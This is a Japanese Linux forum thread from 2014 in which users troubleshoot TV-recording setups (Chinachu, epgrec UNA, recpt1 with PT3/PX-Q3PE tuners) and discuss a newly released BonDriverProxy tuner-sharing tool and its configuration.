CC = gcc -Wl,--no-as-needed
に書き換えてみたらどうでしょう?見当違いだったらごめんなさい。

スレ全部読んだ印象だと何かいろいろ録画鯖あるけど一番人気はepgrec UNAって奴っぽいな?
そん次がChinachuとかいうやつ

nginx使ってるからとりあえずepgrec UNAを入れてみるぜ

352 :login:Penguin:2014/05/12(月) 00:57:32.32 ID:K2JieFGQ.net
自分で改造しならが使おうって人にはUNAはおすすめしない

353 :login:Penguin:2014/05/12(月) 10:32:02.24 ID:FDW7z495.net
chinchuは動かないときにログから問題箇所を特定するのが難しいな
一回ハマるとなかなか動かない

354 :login:Penguin:2014/05/12(月) 12:48:31.56 ID:hPnRcaGd.net
>>352
GWの更新が大規模だったからやられたクチかな?
それなら最新状態に追従しなきゃ良いだけでは?

他のは使い勝手が悪いしバグを抱えたまま更新が止まっているのを改造するよか大分楽だと思うが

355 :login:Penguin:2014/05/12(月) 16:11:12.85 ID:xFAuzapQ.net
>>354
いや、単に改造へのハードルが高いよって意味だよ。
超絶長い関数とかいろいろ。
これを管理できてる作者には本当に頭が下がる。

356 :login:Penguin:2014/05/20(火) 02:02:50.43 ID:+ysSmX8v.net
CentOS6.5 + pxq3pe + chinachu の環境がうごいたので報告

ポイントは以下の2点

- foltiaからドライバ(pxq3pe_dtv.ko)、 recpt1コマンドなど流用
   デバイス名は 衛星: /dev/pxq3pe{0,1,4,5} 地デジ: /dev/pxq3pe{2,3,6,7}
   デバイスのパーミッションが 660 なので、 chinachuユーザがアクセスできるようにする。

- epg取得用のrecpt1のオプションを変更し、 "--sid epg" 部分を削除
   ~chinachu/Chinachu/app-scheduler.js :
- recCmd = recCmd.replace(' --b25', '').replace(' --strip', '').replace('<sid>', 'epg');
+ recCmd = recCmd.replace(' --b25', '').replace(' --strip', '').replace(' --sid <sid>', '');

357 :login:Penguin:2014/05/20(火) 03:36:00.16 ID:VpOCCq8z.net
>>356
録画データに他のサービスも入り、サイズがでかくなるがEPG情報を残したかったのでconfig.jsonの方で"-sid <sid>"を除いてる。
ドライバのロードは、sysconfig/modulesにスクリプト置いて、その中でchmodもかけてやると手っ取り早いかと。

358 :login:Penguin:2014/05/20(火) 04:17:31.91 ID:j+IyEa/9.net
PlanexはPX-W3U3←これのドライバに入ってるas11usbdtv.koとloader.koって
カーネルモジュールのソース公開するかARM版同梱してくれ。
Raspberry Piで使いたいんじゃ

359 :login:Penguin:2014/05/20(火) 04:19:23.72 ID:j+IyEa/9.net
↑PlanexじゃなくてPLEXでした、失礼しました
PLEXの人よろしく!

360 :login:Penguin:2014/05/22(木) 22:09:16.78 ID:k10sTAWk.net
このスレが3ぐらいで録画スレからしばらく消えてたのだが
ffmpegでエラーが出るTSをエラー回避する方法ってまだ発見されてないよね?

361 :login:Penguin:2014/05/23(金) 12:47:52.45 ID:BTB+2HsY.net
日本語でおk

362 :login:Penguin:2014/05/24(土) 18:30:03.55 ID:p0xMBKl5.net
Chinachuのインストールのことで困っています。教えて下さい!
CentOS 6.5にChinachuを公式ページを参照しインストールしました。
しかし、ウェブからのアクセスが出来ません。 wuiのlogには以下の記載がありました。

**SELF-REGULATION WARNING**: If you want to access from outside of LAN, Please activate TLS.
info: socket.io started
info: socket.io started
warn: error raised: Error: listen EAFNOSUPPORT

-確認したこと-
recpt1も入れ、recpt1 --b25 --strip 27 10 test.ts で地上波、BS/CS録画できた
./chinachu update -f でEPGを取得
http://127.0.0.1:10772/ には「接続できません。」とでます。LAN内の他PCでも同様。
http://127.0.0.1/ だと「Welcome to socket.io.」となります。
録画フォルダにはアニメが溜まっており裏で録画は一応されている模様…
なお、SELinux、Firewallはオフにして上記確認をしました。

363 :login:Penguin:2014/05/24(土) 18:53:01.64 ID:FR/ktQyv.net
公式はDebian向けだから必要なパッケージ足りてないとか?

364 :362:2014/05/24(土) 19:31:19.46 ID:p0xMBKl5.net
10772だとダメでしたが、config.jsonのwuiOpenServerをtrueに変更
10772は相変わらずダメですが、20772でパスワード付きログイン可能になりました!

結局なぜ10772はダメなのか…

365 :login:Penguin:2014/05/24(土) 19:36:07.72 ID:g85oOCTN.net
10722と20722だもの

どこかに、まんちがい があるんじゃないか?

366 :login:Penguin:2014/05/24(土) 19:37:28.05 ID:dEzGYObK.net
Please activate TLS.  ...とあるから、
OpenSSLが入ってないんじゃないの?

367 :362:2014/05/24(土) 19:56:09.77 ID:p0xMBKl5.net
>>365
>>366
間違いありました…>>154のこれでした!
過去ログってかこのスレよく見ろって話でした。失礼致しました。

368 :login:Penguin:2014/05/24(土) 22:09:45.11 ID:rGW7EZiJ.net
Chinachuを見ると国内外ほとんどの放送波に対応してるような記述あるけど
日本から国外の放送って受信どうやるの?
PT3以外にチューナー必要?

369 :login:Penguin:2014/05/24(土) 22:18:46.20 ID:dEzGYObK.net
そりゃそうでしょ

370 :login:Penguin:2014/05/24(土) 23:24:30.09 ID:rHhUKAKd.net
>>362

> Error: listen EAFNOSUPPORT

ちゃんとエラー読もう。
ttp://linuxjm.sourceforge.jp/html/LDP_man-pages/man3/errno.3.html

多分 wuiHost を "0.0.0.0" にすれば行けるかもしれない。

371 :login:Penguin:2014/05/25(日) 00:33:53.89 ID:5nKTJLx/.net
お前も3つ上のレスぐらい読めよな

372 :login:Penguin:2014/05/25(日) 01:28:27.74 ID:JgTv6bvV.net
Fedora19だが、"wuiHost" : "::"でアクセスできてるぞ。
IPv6切ってるからだろうか。

373 :login:Penguin:2014/05/25(日) 07:07:40.71 ID:9GeonHb2.net
RedHat系なら問題なく、Ubuntu系なら出るってモンじゃないかね?

374 :login:Penguin:2014/05/25(日) 07:10:05.82 ID:9GeonHb2.net
すまん、寝ぼけていた。
>>362は思いっきりCentOSと書いてた。

ちょっと寝直してくる。

375 :login:Penguin:2014/05/25(日) 09:19:46.19 ID:bIxO4Fui.net
みんな疲れてるんだな

376 :login:Penguin:2014/06/04(水) 00:55:57.35 ID:SXMO+C9U.net
>>342 と同じ、新本家にhttpパッチを当てた recpt1 を使っているのですが、
http を叩くごとにメモリー使用量(ps で言うところの RSS)が増大し、初めは1Mも使っていなかったものが
ちょっと油断すると200M以上食っていたりします。
元に戻すにはrecpt1を再起動させるしか思いつかないのですが、他になにか良い方法はあるのでしょうか。
それとも、こんな振る舞いをするrecpt1はウチの子だけ?

377 :login:Penguin:2014/06/04(水) 21:29:59.95 ID:DA/mzAUw.net
本来とは違うバージョンのソースにパッチ当てたってこと?
普通に考えるとまともに動かないだろ

ちゃんとにソース読んで確認した?
それができないのであれば配布されてるものそのまま使うべき

378 :login:Penguin:2014/06/04(水) 22:32:59.51 ID:mUsuRBNT.net
>>377
>本来とは違うバージョンのソースにパッチ当てたってこと?
新本家は、新旧で構成が違うからそれ用でないとパッチできない。
だからそれは無い
と書いてみたが念のため確認したら>>342のパッチは古いやつジャン
リンク貼り間違えたんかねえ

最新版用は、以下だよ
http://www1.axfc.net/uploader/so/3042920

379 :376:2014/06/05(木) 20:55:05.09 ID:4T47rBOf.net
>>378 確認・ご指摘ありがとうございます。
残念ながら、この最新版用をパッチ当てても症状は同じでした。
recpt1 を --http オプションを付けてdaemonとして立ち上げておき、http interfaceを通してvlcで
tvのリアルタイム視聴をしているのですが、チャンネルを変更するたびに(httpを叩くたびに)recpt1の
メモリー使用量が増えていくのが観察できます。 そちらではこんな事はありませんか?
因みに、vlcでのリアルタイム視聴やチャンネル変更は全く問題なくできています。

380 :login:Penguin:2014/06/05(木) 22:45:16.43 ID:zOG4NeQ9.net
>>379
メモリリークしてるっぽいね。
当方 dlna での視聴では発生していないので、
http オプション固有の問題かも?

381 :login:Penguin:2014/06/06(金) 02:45:21.62 ID:g8zCdq2U.net
デコーダをリリースしていらなくなったARIB_STD_B25_BUFFERを開放してないんじゃないか

382 :login:Penguin:2014/06/07(土) 16:36:10.25 ID:7i7ivPYI.net
chinachuで、EPG更新するとcpuをかなり持っていかれる。
12ch分チューナつんだのもあるんですけど、空いているチューナ全部使ってるみたいなので、
これを1〜2chずつゆっくりepg取得するようにカスタマイズしたいと思ってるんですが、
やっている人はいませんか?

383 :login:Penguin:2014/06/07(土) 17:02:42.05 ID:Y6J2BtGZ.net
>>382
うち、chinachuだけどロードアベレージ
0.6越したことないんだけど

xeon e3v2下の仮想環境でcpu2つ割り当て
pt3x3だから12ch

384 :login:Penguin:2014/06/07(土) 20:21:04.75 ID:7i7ivPYI.net
>>383
ウチの環境だと1ch録画中で、0.7位までいってしまいます。

見よう見まねで、小型&多チャンネル目的にして、以下の環境作りました。
どこかチューニングしたらまともになるんでしょうかね?

[環境]
アプリ: chinachu
MB: ECS H81H3-M4, CPU: Pentium G3220T(2c2t、2.6Ghz), MEM:4GiB
OS: CentOS6.5, tuner: pt3 & pxq3pe

load avgは
・1ch録画時: 0.5〜0.7位
・chinachu update -f 実行中
 epg用ts録画中(8ch分): 2.0 〜 3.0
 epgdump実行中(8ch分): 10.0超 !!!

385 :login:Penguin:2014/06/08(日) 07:41:15.18 ID:7sTQwSYo.net
pxq3peっていつの間にlinux対応してたんだ??
知らなかったわ。TS抜きも出来るの?

386 :Penguin:2014/06/08(日) 09:40:57.60 ID:xy7zHSjr.net
epgrec unaのDBを使って明日放送されるドラマ・アニメの新番組一覧を出力するSQL文を作ってみたが、取りこぼしちまう。もっと精度高くできないかな。


SELECT Recorder_channelTbl.name, Recorder_programTbl.title
FROM Recorder_programTbl
JOIN Recorder_channelTbl
JOIN Recorder_categoryTbl
ON Recorder_channelTbl.channel_disc = Recorder_programTbl.channel_disc
AND Recorder_categoryTbl.id = Recorder_programTbl.category_id
WHERE Recorder_programTbl.endtime > now( )
AND CONCAT( Recorder_categoryTbl.id ) REGEXP '(4|8)'
AND CONCAT( Recorder_programTbl.title )
REGEXP '( 第(1|1)話|\\\[新\\\]|<新>|#1$|#1$|#1$)'
AND CONCAT( Recorder_programTbl.starttime )
REGEXP "$nextday"
ORDER BY Recorder_programTbl.starttime ASC
LIMIT 300;

387 :login:Penguin:2014/06/08(日) 09:46:54.15 ID:dfytllm1.net
http://peace.2ch.net/test/read.cgi/avi/1398350993/7 だと、

\[新\]|[新]|<新>|\(新\)|【新】|第0*[1一][話回]| 新$|#0*1(?!\d)
([\[\(【<]新[>】\)\]])| 新$|第0*[1一壱][話回夜弾]|#0*1(?!\d)
[\[\([【<]新[>】]\)\]]| 新$|第0*[1一―ー壱][話回夜弾]|[#♯]0*1(?!\d)

といった辺りが使われているそうな
当然そのままじゃ無理だろうけど

388 :login:Penguin:2014/06/08(日) 09:56:18.74 ID:T64ooM69.net
【無】消したら録画したあと捗る

389 :login:Penguin:2014/06/08(日) 10:39:17.34 ID:ko/H8WLt.net
出来る出来ないは質問以前の話だろ

390 :login:Penguin:2014/06/15(日) 21:50:34.86 ID:jKV0LTvO.net
>>379

http://valgrind.org/docs/manual/quick-start.html
http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c904.html

上記を参考にValgrind使ってhttpサーバー版を実行してみた所、
メモリリークしてますね。ただ、私の知識ではどこを修正すれば
治るのかまでは分かりませんが。

391 :login:Penguin:2014/06/15(日) 22:38:51.05 ID:QthMzmB5.net
>>390
気分転換に調査してみる

392 :login:Penguin:2014/06/15(日) 23:11:15.03 ID:jKV0LTvO.net
httpサーバーなしをValgrindで実行してみた所、メモリリークは一箇所でした。
http://hg.honeyplanet.jp/pt1/rev/c8688d7d6382

==7209== 16,360 bytes in 1 blocks are definitely lost in loss record 1 of 1
==7209== at 0x4C2AB80: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==7209== by 0x402163: main (recpt1.c:883)

883: bufptr = malloc(sizeof(BUFSZ));
recpt1.c の 883行目でmallocしたメモリをfreeしてないということの様ですが
録画終了時の処理なのですぐにプロセス終了で回収されるでしょうね。

httpサーバー版だと通らない所に見えるので関係性はなさそうです。

393 :login:Penguin:2014/06/16(月) 01:40:50.32 ID:XyT/HHKp.net
>>381

394 :login:Penguin:2014/06/21(土) 10:52:54.18 ID:lKTRMCOS.net
こう言う物をつくったので、暇な方は試してみてください
チューナの共有ソフトです
ttp://www1.axfc.net/u/3262994
Unix系のこの手のソフトの開発者の方への、BonDriverインタフェース使いませんか?て提案でもあります
あと、ReadMeで言及してるwindows版はこちら
ttp://www1.axfc.net/u/3261982

395 :login:Penguin:2014/06/21(土) 11:46:56.89 ID:+B2BoxND.net
これはちょっと期待

396 :login:Penguin:2014/06/21(土) 20:41:58.55 ID:yRRtKnRj.net
>>394

おぉー、Linux側を鯖にして、Windows側をクライアントで使用している場合には
可能性が広がりますね。

Githubで公開とか出来ませんか?

397 :login:Penguin:2014/06/22(日) 07:28:03.69 ID:9K15rOHz.net
>>396
一応、Linuxで実行するアプリの場合でもBonDriverインタフェースを使う形で実装すれば、
このツール経由でチューナ共有やチャンネル変更の優先権の設定機能は利用可能になるので、
クライアントはWindows限定ってわけじゃないんです

サンプルとしてBonDriverインタフェースを使用して生TSストリームを保存するプログラムのソースを
入れてるので、開発者の方にはそれ見てもらえればBonDriverの大体の使い方はわかるかと思います

サンプルをちょっと変更して、生TSではなくてスプリット/デスクランブルしたものを出力するようにすれば、
ストリーム配信とかも大した手間かけずに可能です
現状のままでも、epgrecを若干修正してTS保存アプリとしてこのサンプルを起動するようにすれば、
epgrecの大改造無しに録画機能がBonDriverインタフェース対応になりそうな気もします
#未確認ですが

398 :login:Penguin:2014/06/22(日) 07:31:15.56 ID:9K15rOHz.net
BonDriverインタフェースに関しては、Unix系の環境では普及してないので何それて方も多いかもしれませんが、
アプリ側が正しくBonDriverインタフェースを利用している限り、それがBonDriver_LinuxPTであれ
BonDriver_Proxyであれ、あるいは誰かがつくるかもしれないBonDriver_LinuxW3PEであれ、
正しく機能する事を保証するのがBonDriver層の仕事です

実際のデバイスの差異をBonDriver層で吸収してしまう事で、新しいデバイスが出てきた場合にも
上位層のアプリは修正不要になるはずです
#当然そのデバイス用のBonDriverは必要になりますが

例えば、recpt1をBonDriverインタフェースを使用するように改造した場合、今後特定デバイスへの対応と言う
意味での変更は不要になる、みたいな感じです

とまあそんな意図から、Unix系の開発者の方にもBonDriverインタフェース使いませんかと提案してみた次第です

399 :login:Penguin:2014/06/22(日) 07:33:52.85 ID:9K15rOHz.net
あ、GitHubに上げときました
ttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux

400 :login:Penguin:2014/06/22(日) 08:11:44.80 ID:EZXKzEnF.net
unko now ってなんだよwwww

401 :login:Penguin:2014/06/22(日) 08:46:26.34 ID:EOcOKztN.net
そうして誰も使わなかった



FIN

402 :login:Penguin:2014/06/22(日) 11:01:22.03 ID:yqCR4suw.net
現状Linuxアプリは直接PT3ドライバ叩いてるけど、BonDriverインターフェース経由してアプリの界面を共通化しよう
ということであってる?

あとそもそものBonDriverProxyの役割がよくわからない

403 :login:Penguin:2014/06/22(日) 11:39:32.39 ID:cdsubSq1.net
recpt1のhttp機能を使うタイプのBonDriverはすでにあるから、TvTest等BonDriver対応アプリから使うのはすでに出来てるね
メリットはチューナーの優先制御あたりですかね

404 :login:Penguin:2014/06/22(日) 11:45:33.64 ID:2N7DXHcb.net
BonDriver対応クライアントが便利だったら普及しそうだけど
現状recpt1を使ってepgrecとvlcがあれば事足りるからな〜

使ってないからよくわらかんけどDVBみたいなもの?

405 :login:Penguin:2014/06/22(日) 11:54:50.21 ID:po6RCm/B.net
>>400
unknownのアナグラムがうんこなうになる程世の中は甘くはない

でも一字違いなんだよな、惜しい

406 :login:Penguin:2014/06/22(日) 12:25:25.08 ID:ec/Gwt+a.net
Linuxには既にDVBドライバという共通I/Fがあるわけだが

407 :login:Penguin:2014/06/22(日) 13:06:59.64 ID:BasD8bs2.net
pt1_ioctl改変って何が、変わってんの?

408 :login:Penguin:2014/06/22(日) 14:30:12.09 ID:LfXdXm96.net
sample.cppみて思ったんだが
「使用スペース指定」ってなに?

基本的な仕様がわからないようでは相手にされないと思うよ
あと具体的なメリットと運用例を挙げるとかさ

409 :login:Penguin:2014/06/22(日) 15:57:39.23 ID:BasD8bs2.net
なんかカン違いしてるかもだが、Ex版との違いって?
epgrecで録画で使っているチューナーをリアルタイム視聴にも
回したいといった用途だとEx版じゃないとだめ?

410 :login:Penguin:2014/06/22(日) 16:21:38.42 ID:9K15rOHz.net
>>400
実は当方もアカウントつくってからそう思いました(;´Д`)

>>402
そんな感じです

BonDriverProxyは、BonDriverインタフェースに対応しているアプリと実際の使用BonDriverをTCP経由でプロキシするものです
基本的にはリモート視聴用途ですね

このプロキシの際の副次的な機能として、クライアント1と2から同じBonDriver(大抵の場合は=物理チューナです)を要求された場合は、
そのチューナからのTSストリームを両方のクライアントに配信します
なので、同じ物理チャンネルなら複数のユーザが同じチューナを利用して視聴できる形になります
#プロキシ対象がBonDriver_LinuxPTなら配信対象は生TSストリームになるので、同じトラポン内の別サービスを
#それぞれのクライアントが利用するというのも可能です
#例えばクライアント1はフジテレビnextを、クライアント2はフジテレビoneをみる、みたいなパターンですね

またチューナを共有しているユーザ同士の間で、チューナのチャンネル変更権の優先度を設定する事が出来ます
クライアント1はいつでもチャンネル変更できるけど、クライアント2は優先権を持ったユーザが接続していない場合のみ変更できる、
みたいな設定です
これは、誰かがリアルタイム視聴してても録画機能はチャンネルを持って行けると言う様な用途を想定しています

まあぶっちゃけSpinelと同じようなもんだと思ってもらえばそれ程間違いは無いかと

411 :login:Penguin:2014/06/22(日) 16:34:44.40 ID:9K15rOHz.net
>>403
BonDriver_HTTPですね
あれはrecpt1をhttpプロトコル経由でチャンネル指示を受けてストリーム配信開始するように改造したのを、
TVTest等から受けられるようにするための物なので、Linux側のアプリがBonDriverインタフェースに
対応していると言うわけじゃないんですよね
#ちなみにrecpt1のHTTPサーバ版にはド直球のスタックバッファオーバーランがあるので、そこを修正してない人は
#外部への公開はお勧めしません

>>404
まあそこですよね
ユーザ視点で見れば、正直現状で困ってないのなら移行する必要性はあんまりない感じです
当方の提案はどっちかと言うと、ユーザではなく開発者向けのものですね

>>406
そうなんですが、現在のところ(少なくとも日本では)一番メジャーだと思われるrecpt1では使われてませんし、
BonDriver層はどっちかと言うとそれよりもう一段上位層に位置してそうなイメージです
Windowsでは事実上標準のインタフェースにする事で、Windows用のソフトを移植しやすくなるんじゃね?てのもあります
EDCBのUIはともかくエンジン部分とかですね

>>407
LNB用のioctlに引数がついてpt3_ioctlと同じになってます

412 :login:Penguin:2014/06/22(日) 17:01:16.22 ID:9K15rOHz.net
>>408
BonDriverは、そのドライバ毎にスペース/チャンネルと実際のデバイスの物理チャンネルとの対応を内部的に持つ形になります
例えばUHFでの物理チャンネルが27でも24でも、BonDriver側の設定で、アプリからは同じチャンネルに見せる事が出来ます
テレビのリモコン番号のイメージですね
#ただ、おそらくもっともメジャーなBonDriver対応アプリであるTVTestでは、チャンネルスキャンする事によって、
#そこから更に内部的に放送局とあるBonDriverでのスペース/チャンネルとの対応を把握して保存する形なので、
#「アプリに同じチャンネルに見せる」と言う機能はあんまり活用されてない感じですが

スペースに関しては便宜的な物で、BS空間とCS110空間を分けて扱いたい、みたいな場合に使う感じです

と言うのが当方の理解です
当方もBonDriverインタフェースの考案者に意図を確認したわけではないので、各種BonDriverの挙動からの判断となってしまいますが…

で、BonDriver_LinuxPTで言えば、スペースは使用しておらず、0固定です
具体的には、PT3のS0を使う場合、スペース0のチャンネル0はBS朝日、スペース0のチャンネル17はNHK-BS1、みたいな感じで
confファイルに設定してます

BonDriverインタフェースに移行するメリットは、開発者的には>>402さんの通りですが、
ユーザ的には正直あんまりないかもしれません
#BonDriverProxyを使うと言う前提でなら、>>410で書いた様な運用が可能になりますけども

>>409
Ex版の方は使用BonDriverの選択を自動にして、クライアントからの要求毎になるべく少ない数のチューナで対応しようと言う物です
VirtualPTみたいな機能が欲しいって声があったので、つくってみたって感じの機能です

チューナの共有は無印でも可能です
例えばepgrecが起動するアプリからBonDriver_Proxyを使用して(チャンネル変更権を設定して)TS保存する形にすれば、
別アプリからやはりBonDriver_Proxy経由でそのチューナがリクエストされた場合には、そちらには(チャンネル変更権を
設定していない限り)録画中のチャンネルのTSストリームが配信されます

413 :login:Penguin:2014/06/22(日) 17:10:05.18 ID:yqCR4suw.net
なるほど

自分で言っておいてなんだけど、アプリケーションのインターフェースをBonDriverで統一したとしてもWindowsアプリをLinuxに移植できる訳じゃないよね?
いまいちメリットを理解出来てないw

414 :login:Penguin:2014/06/22(日) 17:37:04.90 ID:BasD8bs2.net
>>412
全然ついていけんw
BonDriverのことがわからんのがいかんな・・・

なんとかBonDriverProxy動くとこまで行きたいけど・・・

415 :login:Penguin:2014/06/22(日) 20:16:11.97 ID:p+R10FJz.net
・1つのチューナーで同じチャンネルを複数プロセス(録画・視聴・EPG取得)で同時利用できるので
・同じチャンネルの連続した番組を1つのチューナーでそれぞれに糊代をつけたまま録画できる
・野球などの録画延伸とEPG更新が同時にできる。
が簡単にできるようになるね

で質問なんだけどチューナーの使用状況(使用の有無・チャンネル・用途)がわかるAPIてあるの?

416 :login:Penguin:2014/06/22(日) 20:34:24.09 ID:AWfMcXnb.net
以下、ユーザー視点の勝手な感想ってことで。

WindowsのBonDriverの考え方を持ち込むのは?だと思う。
新しいチューナーが出たとして、そのチューナーのLinux用ドライバに加えて
BonDriverを書かなきゃ使えないということになるよね?それはさすがに厳しす
ぎるだろうと思うなあ。現状見てもPT3でchardevドライバ版しか使えないって
ことだろうし。

他の人も書いているけど、LinuxにはDVBがすでにあるのだし、サーバー側の
チューナー制御がDVB経由なら対応チューナーが一気に増えると思う。DVB
ドライバがあるFriio白,PT1,PT2,PT3,PX-S1UDが使えるのではないのかな?
DVB用BonDriverで良いのかもしれないけど。あとサーバー側でB25デコード
機能は欲しい。

WindowsでSpinel使っていたから、Linuxには、ネットワーク経由でチューナー
共有や制御できる機能がないのは残念だなと思っていたので期待してる。

417 :login:Penguin:2014/06/22(日) 20:47:00.62 ID:PoQYfK5M.net
確かにBonDriver_DVBとか作ってそこでB25デコードすりゃ使い勝手はよさそうだな
だけどBonDriverのinterfaceでは視聴してるサービス知らせるすべが無いから
CSのデコードは全サービスをデコードするしか無いからなぁ

418 :login:Penguin:2014/06/22(日) 20:55:30.82 ID:p+R10FJz.net
>CSのデコードは全サービスをデコードするしか無いからなぁ
FUSE_B25はどうしてる?

419 :login:Penguin:2014/06/22(日) 22:11:49.31 ID:yqCR4suw.net
LinuxにBoDriverインターフェースを採用する話とBoDriverProxyの話が混ざってよくわからなくなってる

420 :login:Penguin:2014/06/22(日) 23:25:35.72 ID:9K15rOHz.net
>>413
> アプリケーションのインターフェースをBonDriverで統一したとしてもWindowsアプリをLinuxに移植できる訳じゃないよね?
ですね
単に現在BonDriverインタフェースを使ってるアプリが移植しやすくなると言うだけです

>>414
PTの刺さってるLinuxマシンがあるならすぐに試せますよ
まあ今LinuxでBonDriverインタフェース使ってるアプリはBonDriverProxy本体とそのおまけのサンプルアプリだけでしょうから、
それでしか試せませんが…

例えばBonDriver_Proxy.soの指定BonDriverをBonDriver_LinuxPT.soとして、BonDriver_LinuxPT.soは/dev/ptXvideo0
を使う様に設定して、サンプルアプリではBonDriver_Proxy.soを使用して複数起動すれば、チューナの使用は一つだけですが、
起動した数だけの録画が行われるはずです
上記設定で、
$ ./sample -b ./BonDriver_Proxy.so -s 0 -c 0 -t 10 -o a.ts & sleep 3;./sample -b ./BonDriver_Proxy.so -s 0 -c 17 -t 5 -o b.ts
な感じで実行した場合、a.tsには最初の3秒がBS朝日で残りの7秒がNHK-BS1、b.tsには5秒のNHK-BS1が出力されるはずです
#ただしこの例の場合、新たな接続があるたびにチャンネル変更要求が投げられそれが受理される形になるので、
#その度毎に既存接続のストリームにはドロップが発生する事になるでしょう
#また、サンプルアプリで保存されるTSは生ストリームなので視聴するにはb25を使うなどしてデスクランブルが必要です

421 :login:Penguin:2014/06/22(日) 23:30:52.96 ID:9K15rOHz.net
>>415
> 使用の有無
この判定は出来たりできなかったり、BonDriver毎の実装依存です
Windowsの例で言うと、大抵のBonDriverは誰かがチューナを使ってる状態だと、CreateBonDriver()での
インスタンス取得に失敗するか、インスタンスが得られても続くOpenTuner()が失敗します
BonDriver_Proxyの場合はチューナが使用されていても共有する関係で、たとえ使用されていても成功するので
使用されているかどうかはわからないですね

> チャンネル
IBonDriver2.hの
virtual const DWORD GetCurSpace(void) = 0;
virtual const DWORD GetCurChannel(void) = 0;
が現在の(BonDriverとしての)チャンネル取得APIです
ただし、まだオープンしていないチューナの現在チャンネルを知る事は出来ません
また、チューナをオープンして、一度もチャンネル設定のリクエストを出していない状態でも知る事は出来ません

> 用途
これに関してもBonDriverインタフェースとしてはその情報は持っていませんね
なので、録画アプリは自分が使用するチューナのみに関しては被らないようにしなきゃいけないのは変わりません
なお、その辺りの空きチューナ管理なども行い、アプリからはどのチューナを使うのか意識しないでも良い
BonDriverも存在します
#移植してませんが、BonDriveProxyのExの方はそう言う感じの用途向けです

422 :login:Penguin:2014/06/22(日) 23:57:00.37 ID:BasD8bs2.net
>>420
やっぱわかりずらいな。
BonDriverProxyは起動するんよね?
BonDriver_Proxy.confのBONDRIVERにBonDriver_LinuxPT.soを設定する。
アドレスとポートは起動したBonDriverProxyのを指定。
BonDiver_linuxPT.confには/dev/pt3video0を指定する?
地上波チューナ使う時は別途
BonDriver_LinuxPT-T.soとか別名のsoとconfつくってデバイスを変更する?
sampleが地上波とCSを同時に使うとかはどうするんだろう?
BonDriver_Proxy1とか作って増やすのかな?

423 :login:Penguin:2014/06/23(月) 00:00:37.24 ID:9K15rOHz.net
>>416
とりあえずchardevドライバ版でつくったのは、単にそれが一番普通に使われてる感じだったからなんですよね
PTシリーズと、あとPX-W3PEもPTシリーズのchardevドライバと(多分意図的に)インタフェースは互換みたいです
#デバイスオープン直後に恐らくスクランブル関連のAPI呼んでますが、それ以外は全く同じです
感覚としては、BonDriver_LinuxPTを雛形にすれば、他のデバイス用のBonDriverつくるのは(デバイスへの
インタフェースが公開されてる限り)そんなに手間ではない感じかなと思ってますが…

BonDriver_DVBは良いアイデアですね
時間が出来たら調べてみます

デスクランブルは…例の著作権法改定のからみで開発者的にはかなりスリリングなので、BonDriverProxyでは
意図的に避けてるんですよね…
#Windows系ではデスクランブル機能を持ってたソフトはTVTestはじめ軒並み機能削除か自粛しちゃいましたが、
#Unix系ではまだごく普通にGitHubに公開されてたりするのでちょっと驚いてるところです

>>417
今時のB-CASカードなら処理速度的には大丈夫なのかなとも思いますが、PT二枚刺しとかでサービス数が
多いトラポンを数チャンネル同時とかはやっぱり厳しいでしょうか
アプリ側でキャッシュを持てば多少マシかな…
まあぶっちゃけsoftcas化がもっとも簡単なんですが、もっとも黒いので選択肢に入りませんね…

424 :login:Penguin:2014/06/23(月) 00:39:47.52 ID:DN2vhIfe.net
>>422
例えば以下PT3一枚の例で話すと、まずBonDriver_LinuxPT.soは物理デバイスと一対一なので四つコピーをつくります
で、それぞれ用にconfもコピーして、使用デバイスに対応させます
e.g.
BonDriver_LinuxPT-S0.so
BonDriver_LinuxPT-S0.so.conf -> /dev/pt3video0を指定
BonDriver_LinuxPT-S1.so
BonDriver_LinuxPT-S1.so.conf -> /dev/pt3video1を指定
BonDriver_LinuxPT-T0.so
BonDriver_LinuxPT-T0.so.conf -> /dev/pt3video2を指定
BonDriver_LinuxPT-T1.so
BonDriver_LinuxPT-T1.so.conf -> /dev/pt3video3を指定

この時点でもサンプルからBonDriver_LinuxPT-S0.so等を指定すれば使えます

425 :login:Penguin:2014/06/23(月) 00:42:26.76 ID:DN2vhIfe.net
で次に、クライアント側のBonDriver_Proxy.soは、基本的には対象BonDriverと一対一なので、これも四つコピーをつくります
そのそれぞれのconfは、上でつくったBonDriver_LinuxPT.soのコピーをそれぞれ指定します
e.g.
BonDriver_Proxy-S0.so
BonDriver_Proxy-S0.so.conf -> BonDriver_LinuxPT-S0.soを指定
BonDriver_Proxy-S1.so
BonDriver_Proxy-S1.so.conf -> BonDriver_LinuxPT-S1.soを指定
BonDriver_Proxy-T0.so
BonDriver_Proxy-T0.so.conf -> BonDriver_LinuxPT-T0.soを指定
BonDriver_Proxy-T1.so
BonDriver_Proxy-T1.so.conf -> BonDriver_LinuxPT-T1.soを指定
また、confのADDRESSとPORTはもちろんBonDriverProxyを起動した際の引数と同じものを指定します

この状態で、サンプルからBonDriver_Proxy-S0.soを指定すれば、プロキシを通してBonDriver_LinuxPT-S0.soが使用され、
BonDriver_Proxy-T0.soを指定すればBonDriver_LinuxPT-T0.soが使用されます

サンプルからBonDriver_Proxy-S0.soを使用中に、別端末からサンプルをやはりBonDriver_Proxy-S0.soを指定して起動すると、
BonDriver_LinuxPT-S0.soが共有され、/dev/pt3video0からのTSストリームが両方に配信されます

とまあこんな感じですがわかるでしょうか

426 :login:Penguin:2014/06/23(月) 01:27:13.24 ID:dq7KpCTh.net
>>425
ありがとう。だいぶわかってきた。
もう寝るけどw。むずかしいね。

427 :login:Penguin:2014/06/23(月) 10:25:28.82 ID:quj7m4zR.net
>>423
まあ、DVBがあるからって要らないってことはないよね。
実際、インストールベースを考えるとWinでの開発が先行するだろうし。

よくわからないんだけど、BonDriver_DVBができたら種類の異なるチューナを隠せるんかな。
例えば、PT3とFriioを持ってるとき、PT3が埋まってたらFriioを使うとか。

今うちでは、もっと上位でそれをやってるんだよね。
Shell Script書いて、recpt1とrecfriioを状況に応じて使い分けるみたいな。
ちなみにそのために、recpt1等をいじって終了ステータスを手直ししてるけど。

スクランブルについては、法的問題以外に純粋に作りの話として、
外部にした方がいいんじゃなかろうか。
ま、それは感覚の問題だけど。

428 :login:Penguin:2014/06/23(月) 12:23:34.00 ID:DN2vhIfe.net
>>427
> よくわからないんだけど、BonDriver_DVBができたら種類の異なるチューナを隠せるんかな。
